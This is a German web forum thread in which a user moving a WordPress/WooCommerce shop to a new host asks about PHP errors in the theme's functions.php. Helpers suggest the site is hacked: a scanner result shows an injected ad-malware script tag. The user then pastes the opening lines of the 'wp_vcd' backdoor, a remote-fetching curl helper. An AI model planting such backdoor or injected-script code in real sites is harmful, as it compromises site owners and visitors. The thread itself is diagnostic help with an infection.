Umzug zu neuem Anbieter/Hoster - Fehler

  • Hallo zusammen,

    ich bin am Wochenende zu einem neuen Hoster gewechselt und habe meine Seite (Wordpress-Online-Shop mit Woocommerce) hochgeladen, die Datenbank importiert - alles fehlerfrei.

    Nun öffne ich die Seite und das Startthema zeigt direkt Fehler an - unter anderem ca. 8 mal in verschiedenen Funktionen: "Deprecated: Function create_function() is deprecated in [...]"
    Danach als letzten Fehler diesen hier "Warning: Use of undefined constant REQUEST_URI - assumed 'REQUEST_URI' (this will throw an Error in a future version of PHP) in /var/www/vhosts/shop-kiwikick.de/httpdocs/wp-content/themes/Electro/functions.php on line 73".

    "Wenn ich die php-Version des Servers umstelle, dann werden es weniger Fehler, aber im Thema werden nachwievor nur Fehler angezeigt und kein Seitenname oder Informationen etc. - also fehlerhafte Startseite ohne Logo etc.

    Die .htaccess habe ich bereits gelöscht/umbenannt, damit diese neu geschrieben werden kann.

    Woran kann das liegen? Unterseiten etc. funktionieren alle nicht und werden nicht gefunden.

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • Wie hast du die Seite umgezogen? Hast du auch sämtliche Einträge in der Datenbank von 127.0.0.1 auf shop-kiwikick.de geändert?

    Hast du die Lizenz von RevSlider angepasst?

    Das Geheimnis des Könnens liegt im Wollen!
    [size=12]Bitte keine Hilfegesuche per PN (auch keine "privaten" Links). Das ist ein öffentliches Forum.[/SIZE]

  • Manche Hacks haben solche Effekte, wenn sie auf "zu hohe" PHP Versionen treffen.

    Poste mal die Zeilen 65-80 aus der genannten Datei functions.php

    Ergänzung: Der Website ist mit sehr hoher Wahrscheinlichkeit gehackt, ein Kurztest via sitecheck.sucuri.net ergibt das Einfügen von schädlichen Scripts, wahrscheinlich 1 x pro IP / Besucher innerhalb eines Zeitraumes.

    HTML
    Malware Found
    
    
    http://shop-kiwikick.de/ - rogueads.unwanted_ads?1
    
    
    <script type="text/javascript" src="//go.oclaXXXXXXXXserver.com/apu.php?zoneid=1838101"></script>
    
    
    Your site is hacked and needs immediate attention. Malicious code was detected on your site by our automated scanner. ...

    3 Mal editiert, zuletzt von b3317133 (27. August 2018 um 14:04)

  • Hi. danke für die schnelle Rückmeldung - also ich habe die Seite hochgeladen (inklusive aller Ordner), danach die Datenbank importiert und innerhalb der Datenbank dann die alte Domain in die neue geändert. Zuzüglich noch in der config die neuen Daten eingegeben.

  • Also ich habe die Seite noch einmal neu hochgeladen - den Support kontaktiert zwecks Malware - leider noch keine Antwort erhalten.

    Dennoch haben sich die Fehler minimiert - auf 1 Zeile.... und wie gehabt: Zeile 73 im Theme.

    Ich habe über phpadmin alle Daten zur neuen Domain angepasst, ebenfalls in der wp-config...

    woran kann es noch liegen? Anscheinend kann das Thema die URL nicht zurückerhalten - wenn ich nämlich Unterseiten öffne, so werden diese nicht gefunden.

  • das sind die betreffenden Zeilen... Zeile 73 ist die hier:

    "$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];"


    $div_code_name = "wp_vcd";
    $funcfile = __FILE__;
    if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

    function file_get_contents_tcurl($url)
    {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
    }

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!